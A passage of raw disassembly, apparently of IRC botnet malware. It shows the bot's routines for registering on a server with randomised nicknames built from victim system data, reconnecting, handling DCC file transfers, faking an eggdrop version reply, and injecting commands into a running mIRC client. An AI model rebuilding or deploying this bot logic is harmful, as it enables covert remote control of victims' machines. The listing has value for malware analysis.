call sub_416B3A ; strcpy
pop ecx
pop ecx
mov eax, [ebp+var_8]
imul eax, 0Ch
push off_41DA6C[eax]
push offset dword_41E998
call sub_416B3A ; strcpy
pop ecx
pop ecx
mov eax, [ebp+var_8]
imul eax, 0Ch
cmp dword_41DA70[eax], 0
jz short loc_40D020
mov eax, [ebp+var_8]
imul eax, 0Ch
push dword_41DA70[eax]
push offset byte_41E718
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_40D020: ; CODE XREF: sub_40CF2F:loc_40CF99j
; sub_40CF2F+D7j
push offset dword_41E898
call sub_4105AD
pop ecx
push offset dword_41E998
call sub_4105AD
pop ecx
push offset byte_41E718
call sub_4105AD
pop ecx
leave
retn
sub_40CF2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D043 proc near ; CODE XREF: sub_40D366+7Fp
; sub_40D871+619p
var_250 = dword ptr -250h
var_24C = byte ptr -24Ch
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_220 = dword ptr -220h
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_18C = dword ptr -18Ch
var_188 = dword ptr -188h
var_184 = byte ptr -184h
var_104 = byte ptr -104h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 250h
push edi
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_184]
push eax
lea eax, [ebp+var_80]
push eax
call sub_40668F
add esp, 0Ch
movsx eax, byte_41E718
test eax, eax
jz short loc_40D099
push offset byte_41E718
call sub_4105FB
pop ecx
push offset byte_41E718
push offset aPassS ; "PASS %s"
call sub_40D6CB
pop ecx
pop ecx
push offset byte_41E718
call sub_4105AD
pop ecx
loc_40D099: ; CODE XREF: sub_40D043+2Dj
cmp [ebp+arg_0], 0
jz loc_40D132
movsx eax, byte_41EEC8
test eax, eax
jz short loc_40D0C3
push offset byte_41EEC8
lea eax, [ebp+var_184]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp short loc_40D0D6
; ---------------------------------------------------------------------------
loc_40D0C3: ; CODE XREF: sub_40D043+69j
lea eax, [ebp+var_184]
push eax
push offset byte_41EEC8
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_40D0D6: ; CODE XREF: sub_40D043+7Ej
movsx eax, byte_41F048
test eax, eax
jz short loc_40D0F6
push offset byte_41F048
lea eax, [ebp+var_104]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp short loc_40D109
; ---------------------------------------------------------------------------
loc_40D0F6: ; CODE XREF: sub_40D043+9Cj
lea eax, [ebp+var_104]
push eax
push offset byte_41F048
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_40D109: ; CODE XREF: sub_40D043+B1j
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_184]
push eax
lea eax, [ebp+var_184]
push eax
lea eax, [ebp+var_184]
push eax
push offset aUserSSSS ; "USER %s %s %s :%s"
call sub_40D6CB
add esp, 14h
loc_40D132: ; CODE XREF: sub_40D043+5Aj
cmp [ebp+arg_4], 0
jz loc_40D363
cmp [ebp+arg_0], 0
jz short loc_40D163
movsx eax, byte_41EE48
test eax, eax
jz short loc_40D163
push offset byte_41EE48
push offset aNickS ; "NICK %s"
call sub_40D6CB
pop ecx
pop ecx
jmp loc_40D363
; ---------------------------------------------------------------------------
loc_40D163: ; CODE XREF: sub_40D043+FDj
; sub_40D043+108j
call sub_4092A4
xor edx, edx
mov ecx, 15180h
div ecx
mov [ebp+var_188], eax
cmp [ebp+var_188], 4
jnb short loc_40D18D
call sub_406AE7
test eax, eax
jz loc_40D31F
loc_40D18D: ; CODE XREF: sub_40D043+13Bj
call sub_406A23
lea eax, [ebp+var_24C]
push eax
call sub_408342
pop ecx
test eax, eax
jnz short loc_40D1B6
push offset aUnk ; "UNK"
lea eax, [ebp+var_24C]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_40D1B6: ; CODE XREF: sub_40D043+15Ej
call sub_408E8E
cmp eax, 400h
jbe short loc_40D1CF
call sub_408E8E
mov [ebp+var_250], eax
jmp short loc_40D1D9
; ---------------------------------------------------------------------------
loc_40D1CF: ; CODE XREF: sub_40D043+17Dj
mov [ebp+var_250], 400h
loc_40D1D9: ; CODE XREF: sub_40D043+18Aj
mov eax, [ebp+var_250]
shr eax, 0Ah
mov [ebp+var_228], eax
call sub_408887
mov [ebp+var_18C], eax
mov [ebp+var_224], offset aB ; "B"
cmp [ebp+var_18C], 2EEh
jnb short loc_40D213
mov [ebp+var_224], offset aA ; "A"
loc_40D213: ; CODE XREF: sub_40D043+1C4j
cmp [ebp+var_18C], 1F4h
jnb short loc_40D229
mov [ebp+var_224], offset aG ; "G"
loc_40D229: ; CODE XREF: sub_40D043+1DAj
and [ebp+var_22C], 0
mov [ebp+var_220], 94h
push 24h
pop ecx
xor eax, eax
lea edi, [ebp+var_21C]
rep stosd
lea eax, [ebp+var_220]
push eax
call ds:dword_417030 ; GetVersionExA
cmp [ebp+var_21C], 5
jnz short loc_40D270
cmp [ebp+var_218], 1
jnz short loc_40D270
mov [ebp+var_22C], 1
loc_40D270: ; CODE XREF: sub_40D043+218j
; sub_40D043+221j
push 5Ah
push 41h
call sub_4103F5
pop ecx
pop ecx
push eax
push 5Ah
push 41h
call sub_4103F5
pop ecx
pop ecx
push eax
cmp [ebp+var_22C], 0
setz al
dec eax
and eax, 2Fh
add eax, 2Dh
movsx eax, al
push eax
push [ebp+var_224]
push [ebp+var_228]
push 5Dh
push [ebp+var_188]
push 5Bh
push 5Dh
lea eax, [ebp+var_24C]
push eax
push 5Bh
push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
lea eax, [ebp+var_80]
push eax
call sub_416B5E ; sprintf
add esp, 34h
movsx eax, byte_41DB34
test eax, eax
jz short loc_40D31D
push offset byte_41DB34
push offset aLast ; "#last"
call sub_416B3A ; strcpy
pop ecx
pop ecx
push offset aLast ; "#last"
call sub_4105FB
pop ecx
movsx eax, byte_41DBB4
test eax, eax
jz short loc_40D31D
push offset byte_41DBB4
push offset dword_41ED48
call sub_416B3A ; strcpy
pop ecx
pop ecx
push offset dword_41ED48
call sub_4105FB
pop ecx
loc_40D31D: ; CODE XREF: sub_40D043+295j
; sub_40D043+2BCj
jmp short loc_40D343
; ---------------------------------------------------------------------------
loc_40D31F: ; CODE XREF: sub_40D043+144j
push offset dword_41DAA4
lea eax, [ebp+var_80]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
lea eax, [ebp+var_80]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_80]
push eax
call sub_40D7E5
pop ecx
loc_40D343: ; CODE XREF: sub_40D043:loc_40D31Dj
lea eax, [ebp+var_80]
push eax
push offset aNickS ; "NICK %s"
call sub_40D6CB
pop ecx
pop ecx
lea eax, [ebp+var_80]
push eax
push offset byte_41EE48
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_40D363: ; CODE XREF: sub_40D043+F3j
; sub_40D043+11Bj
pop edi
leave
retn
sub_40D043 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D366 proc near ; CODE XREF: sub_40A9CF+1521p
; sub_40D871+4A7p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40CF2F
add esp, 0Ch
push dword_41E9A4
call sub_40538D
pop ecx
mov [ebp+var_4], 0EA60h
loc_40D38E: ; CODE XREF: sub_40D366:loc_40D419j
push offset dword_41E898
call sub_4105FB
pop ecx
push offset dword_41E998
call sub_4105FB
pop ecx
push 2710h
push 1
push offset dword_41E998
push offset dword_41E898
call sub_4050EA
add esp, 10h
mov dword_41E9A4, eax
push offset dword_41E898
call sub_4105AD
pop ecx
push offset dword_41E998
call sub_4105AD
pop ecx
cmp dword_41E9A4, 0
jz short loc_40D3EE
push 1
push 1
call sub_40D043
pop ecx
pop ecx
jmp short locret_40D41E
; ---------------------------------------------------------------------------
loc_40D3EE: ; CODE XREF: sub_40D366+79j
push 0
push 0
push 0
call sub_40CF2F
add esp, 0Ch
push [ebp+var_4]
call ds:dword_41709C ; Sleep
cmp [ebp+var_4], 0A4CB80h
jge short loc_40D419
mov eax, [ebp+var_4]
add eax, 0EA60h
mov [ebp+var_4], eax
loc_40D419: ; CODE XREF: sub_40D366+A6j
jmp loc_40D38E
; ---------------------------------------------------------------------------
locret_40D41E: ; CODE XREF: sub_40D366+86j
leave
retn
sub_40D366 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D420 proc near ; CODE XREF: sub_4020C2+1DEp
; sub_40A9CF+1219p ...
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
mov eax, 1008h
call sub_416BC0
push [ebp+arg_0]
push offset aNoticeS ; "NOTICE %s :"
lea eax, [ebp+var_1008]
push eax
call sub_416B5E ; sprintf
add esp, 0Ch
mov [ebp+var_8], eax
lea eax, [ebp+arg_8]
mov [ebp+var_4], eax
push [ebp+var_4]
push [ebp+arg_4]
mov eax, 1000h
sub eax, [ebp+var_8]
push eax
mov eax, [ebp+var_8]
lea eax, [ebp+eax+var_1008]
push eax
call sub_416DF0 ; _vsnprintf
add esp, 10h
and [ebp+var_4], 0
push offset asc_418214 ; "\r\n"
lea eax, [ebp+var_1008]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
lea eax, [ebp+var_1008]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push dword_41E9A4
call sub_4053BF
add esp, 0Ch
leave
retn
sub_40D420 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D4AB proc near ; CODE XREF: sub_4020C2+21Bp
; sub_40332B+1A6p ...
var_1008 = dword ptr -1008h
var_1004 = byte ptr -1004h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
mov eax, 1008h
call sub_416BC0
push [ebp+arg_0]
push offset aPrivmsgS ; "PRIVMSG %s :"
lea eax, [ebp+var_1004]
push eax
call sub_416B5E ; sprintf
add esp, 0Ch
mov [ebp+var_1008], eax
lea eax, [ebp+arg_8]
mov [ebp+var_4], eax
push [ebp+var_4]
push [ebp+arg_4]
mov eax, 1000h
sub eax, [ebp+var_1008]
push eax
mov eax, [ebp+var_1008]
lea eax, [ebp+eax+var_1004]
push eax
call sub_416DF0 ; _vsnprintf
add esp, 10h
and [ebp+var_4], 0
push offset asc_418214 ; "\r\n"
lea eax, [ebp+var_1004]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
lea eax, [ebp+var_1004]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_1004]
push eax
push dword_41E9A4
call sub_4053BF
add esp, 0Ch
leave
retn
sub_40D4AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D53F proc near ; CODE XREF: sub_401244+51p
; sub_401244+41Ep ...
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
mov eax, 1008h
call sub_416BC0
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+198h]
test eax, eax
jz short loc_40D55F
jmp locret_40D6C9
; ---------------------------------------------------------------------------
loc_40D55F: ; CODE XREF: sub_40D53F+19j
and [ebp+var_8], 0
mov eax, [ebp+arg_0]
cmp dword ptr [eax+121h], 1
jnz short loc_40D58F
mov eax, [ebp+arg_0]
add eax, 21h
push eax
push offset aNoticeS ; "NOTICE %s :"
lea eax, [ebp+var_1008]
push eax
call sub_416B5E ; sprintf
add esp, 0Ch
mov [ebp+var_8], eax
jmp short loc_40D605
; ---------------------------------------------------------------------------
loc_40D58F: ; CODE XREF: sub_40D53F+2Ej
mov eax, [ebp+arg_0]
cmp dword ptr [eax+121h], 2
jnz short loc_40D5BB
mov eax, [ebp+arg_0]
add eax, 21h
push eax
push offset dword_41A058
lea eax, [ebp+var_1008]
push eax
call sub_416B5E ; sprintf
add esp, 0Ch
mov [ebp+var_8], eax
jmp short loc_40D605
; ---------------------------------------------------------------------------
loc_40D5BB: ; CODE XREF: sub_40D53F+5Aj
mov eax, [ebp+arg_0]
cmp dword ptr [eax+121h], 3
jnz short loc_40D5E7
mov eax, [ebp+arg_0]
add eax, 21h
push eax
push offset dword_41A048
lea eax, [ebp+var_1008]
push eax
call sub_416B5E ; sprintf
add esp, 0Ch
mov [ebp+var_8], eax
jmp short loc_40D605
; ---------------------------------------------------------------------------
loc_40D5E7: ; CODE XREF: sub_40D53F+86j
mov eax, [ebp+arg_0]
add eax, 21h
push eax
push offset aPrivmsgS ; "PRIVMSG %s :"
lea eax, [ebp+var_1008]
push eax
call sub_416B5E ; sprintf
add esp, 0Ch
mov [ebp+var_8], eax
loc_40D605: ; CODE XREF: sub_40D53F+4Ej
; sub_40D53F+7Aj ...
mov eax, [ebp+arg_0]
cmp dword ptr [eax+19Fh], 0
jz short loc_40D63C
mov eax, [ebp+arg_0]
cmp dword ptr [eax+121h], 2
jz short loc_40D629
mov eax, [ebp+arg_0]
cmp dword ptr [eax+121h], 3
jnz short loc_40D63C
loc_40D629: ; CODE XREF: sub_40D53F+DCj
push offset aMessage ; "message "
lea eax, [ebp+var_1008]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
loc_40D63C: ; CODE XREF: sub_40D53F+D0j
; sub_40D53F+E8j
lea eax, [ebp+arg_8]
mov [ebp+var_4], eax
push [ebp+var_4]
push [ebp+arg_4]
mov eax, 1000h
sub eax, [ebp+var_8]
push eax
mov eax, [ebp+var_8]
lea eax, [ebp+eax+var_1008]
push eax
call sub_416DF0 ; _vsnprintf
add esp, 10h
and [ebp+var_4], 0
mov eax, [ebp+arg_0]
cmp dword ptr [eax+121h], 2
jz short loc_40D680
mov eax, [ebp+arg_0]
cmp dword ptr [eax+121h], 3
jnz short loc_40D693
loc_40D680: ; CODE XREF: sub_40D53F+133j
push offset dword_41A038
lea eax, [ebp+var_1008]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
loc_40D693: ; CODE XREF: sub_40D53F+13Fj
push offset asc_418214 ; "\r\n"
lea eax, [ebp+var_1008]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
lea eax, [ebp+var_1008]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push dword_41E9A4
call sub_4053BF
add esp, 0Ch
locret_40D6C9: ; CODE XREF: sub_40D53F+1Bj
leave
retn
sub_40D53F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D6CB proc near ; CODE XREF: sub_40332B+205p
; sub_40332B+212p ...
var_1004 = byte ptr -1004h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1004h
call sub_416BC0
lea eax, [ebp+arg_4]
mov [ebp+var_4], eax
push [ebp+var_4]
push [ebp+arg_0]
push 1000h
lea eax, [ebp+var_1004]
push eax
call sub_416DF0 ; _vsnprintf
add esp, 10h
and [ebp+var_4], 0
push offset asc_418214 ; "\r\n"
lea eax, [ebp+var_1004]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
lea eax, [ebp+var_1004]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_1004]
push eax
push dword_41E9A4
call sub_4053BF
add esp, 0Ch
leave
retn
sub_40D6CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D734 proc near ; CODE XREF: sub_40D74D:loc_40D75Ep
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push 0
push offset aMirc ; "mIRC"
call ds:dword_4171E8 ; FindWindowA
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
leave
retn
sub_40D734 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D74D proc near ; CODE XREF: sub_40A9CF+926p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
cmp [ebp+arg_0], 0
jnz short loc_40D75E
jmp locret_40D7E3
; ---------------------------------------------------------------------------
loc_40D75E: ; CODE XREF: sub_40D74D+Aj
call sub_40D734
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_40D76E
jmp short locret_40D7E3
; ---------------------------------------------------------------------------
loc_40D76E: ; CODE XREF: sub_40D74D+1Dj
push offset aMirc ; "mIRC"
push 1000h
push 0
push 4
push 0
push 0FFFFFFFFh
call ds:dword_4170C0 ; CreateFileMappingA
mov [ebp+var_8], eax
push 0
push 0
push 0
push 0F001Fh
push [ebp+var_8]
call ds:dword_4170BC ; MapViewOfFile
mov [ebp+var_C], eax
push [ebp+arg_0]
push [ebp+var_C]
call sub_416B5E ; sprintf
pop ecx
pop ecx
push 0
push 1
push 4C8h
push [ebp+var_4]
call ds:dword_4171EC ; SendMessageA
push 0
push 1
push 4C9h
push [ebp+var_4]
call ds:dword_4171EC ; SendMessageA
push [ebp+var_C]
call ds:dword_4170B8 ; UnmapViewOfFile
push [ebp+var_8]
call ds:dword_4170A4 ; CloseHandle
locret_40D7E3: ; CODE XREF: sub_40D74D+Cj
; sub_40D74D+1Fj
leave
retn
sub_40D74D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D7E5 proc near ; CODE XREF: sub_40A9CF+E3p
; sub_40D043+2FAp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push [ebp+arg_0]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_8], eax
and [ebp+var_4], 0
jmp short loc_40D803
; ---------------------------------------------------------------------------
loc_40D7FC: ; CODE XREF: sub_40D7E5:loc_40D86Dj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_40D803: ; CODE XREF: sub_40D7E5+15j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jge short locret_40D86F
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
cmp eax, 23h
jnz short loc_40D82E
push 39h
push 30h
call sub_4103F5
pop ecx
pop ecx
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
jmp short loc_40D86D
; ---------------------------------------------------------------------------
loc_40D82E: ; CODE XREF: sub_40D7E5+32j
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
cmp eax, 3Fh
jnz short loc_40D86D
call sub_410483
test eax, eax
jz short loc_40D85A
push 7Ah
push 61h
call sub_4103F5
pop ecx
pop ecx
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
jmp short loc_40D86D
; ---------------------------------------------------------------------------
loc_40D85A: ; CODE XREF: sub_40D7E5+5Ej
push 5Ah
push 41h
call sub_4103F5
pop ecx
pop ecx
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
loc_40D86D: ; CODE XREF: sub_40D7E5+47j
; sub_40D7E5+55j ...
jmp short loc_40D7FC
; ---------------------------------------------------------------------------
locret_40D86F: ; CODE XREF: sub_40D7E5+24j
leave
retn
sub_40D7E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D871 proc near ; CODE XREF: sub_40E618+321p
var_7E8 = dword ptr -7E8h
var_7E4 = dword ptr -7E4h
var_7E0 = dword ptr -7E0h
var_7DC = byte ptr -7DCh
var_7D8 = dword ptr -7D8h
var_7D4 = dword ptr -7D4h
var_7D0 = dword ptr -7D0h
var_7CC = dword ptr -7CCh
var_7C8 = dword ptr -7C8h
var_7C4 = byte ptr -7C4h
var_7C0 = dword ptr -7C0h
var_7BC = byte ptr -7BCh
var_5BC = dword ptr -5BCh
var_5B8 = dword ptr -5B8h
var_5B4 = byte ptr -5B4h
var_4B4 = byte ptr -4B4h
var_490 = byte ptr -490h
var_390 = byte ptr -390h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = dword ptr -364h
var_360 = dword ptr -360h
var_35C = dword ptr -35Ch
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = byte ptr -2C8h
var_248 = byte ptr -248h
var_238 = dword ptr -238h
var_234 = byte ptr -234h
var_213 = byte ptr -213h
var_113 = dword ptr -113h
var_10F = byte ptr -10Fh
var_95 = dword ptr -95h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = byte ptr -7Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 7E8h
push edi
push offset aPing ; "PING"
mov eax, [ebp+arg_C]
push dword ptr [eax]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40D8A7
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
push offset aPongS ; "PONG %s"
call sub_40D6CB
pop ecx
pop ecx
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40D8A7: ; CODE XREF: sub_40D871+1Dj
push offset aPong ; "PONG"
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40D8C2
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40D8C2: ; CODE XREF: sub_40D871+4Aj
push offset aMode ; "MODE"
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40D8DD
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40D8DD: ; CODE XREF: sub_40D871+65j
push offset aPrivmsg ; "PRIVMSG"
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz loc_40DB2D
mov eax, [ebp+arg_C]
cmp dword ptr [eax+0Ch], 0
jz loc_40DB2D
mov eax, [ebp+arg_C]
mov eax, [eax+0Ch]
movsx eax, byte ptr [eax+1]
cmp eax, 1
jnz loc_40DB2D
push offset dword_41A14C
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz loc_40DA81
mov eax, [ebp+arg_C]
cmp dword ptr [eax+10h], 0
jz loc_40DA81
push offset aSend ; "SEND"
mov eax, [ebp+arg_C]
push dword ptr [eax+10h]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz loc_40DA81
cmp [ebp+arg_0], 0
jz loc_40DA81
mov eax, [ebp+arg_C]
cmp dword ptr [eax+14h], 0
jz short loc_40D986
mov eax, [ebp+arg_C]
cmp dword ptr [eax+18h], 0
jz short loc_40D986
mov eax, [ebp+arg_C]
cmp dword ptr [eax+1Ch], 0
jz short loc_40D986
mov eax, [ebp+arg_C]
cmp dword ptr [eax+20h], 0
jnz short loc_40D98B
loc_40D986: ; CODE XREF: sub_40D871+F8j
; sub_40D871+101j ...
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40D98B: ; CODE XREF: sub_40D871+113j
mov eax, [ebp+arg_C]
mov eax, [eax+14h]
movsx eax, byte ptr [eax]
cmp eax, 22h
jnz short loc_40D99E
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40D99E: ; CODE XREF: sub_40D871+126j
mov eax, [ebp+arg_C]
push dword ptr [eax+20h]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+arg_C]
mov ecx, [ecx+20h]
and byte ptr [ecx+eax], 0
push [ebp+arg_4]
lea eax, [ebp+var_234]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
push offset aLast ; "#last"
lea eax, [ebp+var_213]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
and [ebp+var_113], 0
push 7Ah
push 0
lea eax, [ebp+var_10F]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov [ebp+var_95], 1
mov eax, [ebp+arg_C]
push dword ptr [eax+18h]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_238], eax
movzx eax, byte ptr [ebp+var_238]
push eax
mov eax, [ebp+var_238]
shr eax, 8
movzx eax, al
push eax
mov eax, [ebp+var_238]
shr eax, 10h
movzx eax, al
push eax
mov eax, [ebp+var_238]
shr eax, 18h
movzx eax, al
push eax
push offset aU_U_U_U ; "%u.%u.%u.%u"
lea eax, [ebp+var_248]
push eax
call sub_416B5E ; sprintf
add esp, 18h
mov eax, [ebp+arg_C]
push dword ptr [eax+20h]
mov eax, [ebp+arg_C]
push dword ptr [eax+1Ch]
lea eax, [ebp+var_248]
push eax
mov eax, [ebp+arg_C]
push dword ptr [eax+14h]
push [ebp+arg_4]
lea eax, [ebp+var_234]
push eax
call sub_4024F3
add esp, 18h
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DA81: ; CODE XREF: sub_40D871+BAj
; sub_40D871+C7j ...
push offset dword_41A138
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jz short loc_40DAAD
push offset dword_41A12C
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
call sub_416DDE ; strcmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40DAEB
loc_40DAAD: ; CODE XREF: sub_40D871+224j
cmp [ebp+arg_0], 0
jz short loc_40DAD1
push offset dword_41DC34
push 3B6h
push 0
push offset dword_41A108
push [ebp+arg_4]
call sub_40D420
add esp, 14h
jmp short loc_40DAE6
; ---------------------------------------------------------------------------
loc_40DAD1: ; CODE XREF: sub_40D871+240j
push offset aEggdropV1_6_16 ; "eggdrop v1.6.16"
push offset dword_41A0E8
push [ebp+arg_4]
call sub_40D420
add esp, 0Ch
loc_40DAE6: ; CODE XREF: sub_40D871+25Ej
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DAEB: ; CODE XREF: sub_40D871+23Aj
push offset dword_41A0E0
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jz short loc_40DB16
push offset dword_41A0D8
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
call ds:dword_417108 ; lstrcmpA
test eax, eax
jnz short loc_40DB2D
loc_40DB16: ; CODE XREF: sub_40D871+28Ej
mov eax, [ebp+arg_10]
mov eax, [eax+0Ch]
inc eax
push eax
push [ebp+arg_4]
call sub_40D420
pop ecx
pop ecx
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DB2D: ; CODE XREF: sub_40D871+80j
; sub_40D871+8Dj ...
push offset a433 ; "433"
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz loc_40DCFD
call sub_4092A4
xor edx, edx
mov ecx, 15180h
div ecx
mov [ebp+var_2CC], eax
cmp [ebp+var_2CC], 4
jnb short loc_40DB71
call sub_406AE7
test eax, eax
jz loc_40DCB8
loc_40DB71: ; CODE XREF: sub_40D871+2F1j
call sub_406A23
lea eax, [ebp+var_390]
push eax
call sub_408342
pop ecx
test eax, eax
jnz short loc_40DB9A
push offset aUnk ; "UNK"
lea eax, [ebp+var_390]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_40DB9A: ; CODE XREF: sub_40D871+314j
call sub_408E8E
cmp eax, 400h
jbe short loc_40DBB3
call sub_408E8E
mov [ebp+var_7E4], eax
jmp short loc_40DBBD
; ---------------------------------------------------------------------------
loc_40DBB3: ; CODE XREF: sub_40D871+333j
mov [ebp+var_7E4], 400h
loc_40DBBD: ; CODE XREF: sub_40D871+340j
mov eax, [ebp+var_7E4]
shr eax, 0Ah
mov [ebp+var_36C], eax
call sub_408887
mov [ebp+var_2D0], eax
mov [ebp+var_368], offset aB ; "B"
cmp [ebp+var_2D0], 3E8h
jnb short loc_40DBF7
mov [ebp+var_368], offset aA ; "A"
loc_40DBF7: ; CODE XREF: sub_40D871+37Aj
cmp [ebp+var_2D0], 1F4h
jnb short loc_40DC0D
mov [ebp+var_368], offset aG ; "G"
loc_40DC0D: ; CODE XREF: sub_40D871+390j
and [ebp+var_370], 0
mov [ebp+var_364], 94h
push 24h
pop ecx
xor eax, eax
lea edi, [ebp+var_360]
rep stosd
lea eax, [ebp+var_364]
push eax
call ds:dword_417030 ; GetVersionExA
cmp [ebp+var_360], 5
jnz short loc_40DC54
cmp [ebp+var_35C], 1
jnz short loc_40DC54
mov [ebp+var_370], 1
loc_40DC54: ; CODE XREF: sub_40D871+3CEj
; sub_40D871+3D7j
push 5Ah
push 41h
call sub_4103F5
pop ecx
pop ecx
push eax
push 5Ah
push 41h
call sub_4103F5
pop ecx
pop ecx
push eax
cmp [ebp+var_370], 0
setz al
dec eax
and eax, 2Fh
add eax, 2Dh
movsx eax, al
push eax
push [ebp+var_368]
push [ebp+var_36C]
push 5Dh
push [ebp+var_2CC]
push 5Bh
push 5Dh
lea eax, [ebp+var_390]
push eax
push 5Bh
